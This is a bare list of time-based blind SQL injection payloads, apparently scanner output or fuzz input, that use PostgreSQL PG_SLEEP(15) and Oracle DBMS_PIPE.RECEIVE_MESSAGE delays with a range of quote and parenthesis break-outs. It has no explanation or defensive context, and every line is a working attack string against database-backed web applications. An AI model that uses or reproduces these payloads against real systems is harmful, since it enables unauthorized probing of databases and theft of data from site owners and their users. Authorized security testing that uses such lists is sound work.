555-1 OR 728=(SELECT 728 FROM PG_SLEEP(15))--

555-1) OR 141=(SELECT 141 FROM PG_SLEEP(15))--

555-1)) OR 482=(SELECT 482 FROM PG_SLEEP(15))--

555fHVMHK1T' OR 465=(SELECT 465 FROM PG_SLEEP(15))--

555uRPbx7K9') OR 21=(SELECT 21 FROM PG_SLEEP(15))--

555JQUpvdbn')) OR 945=(SELECT 945 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555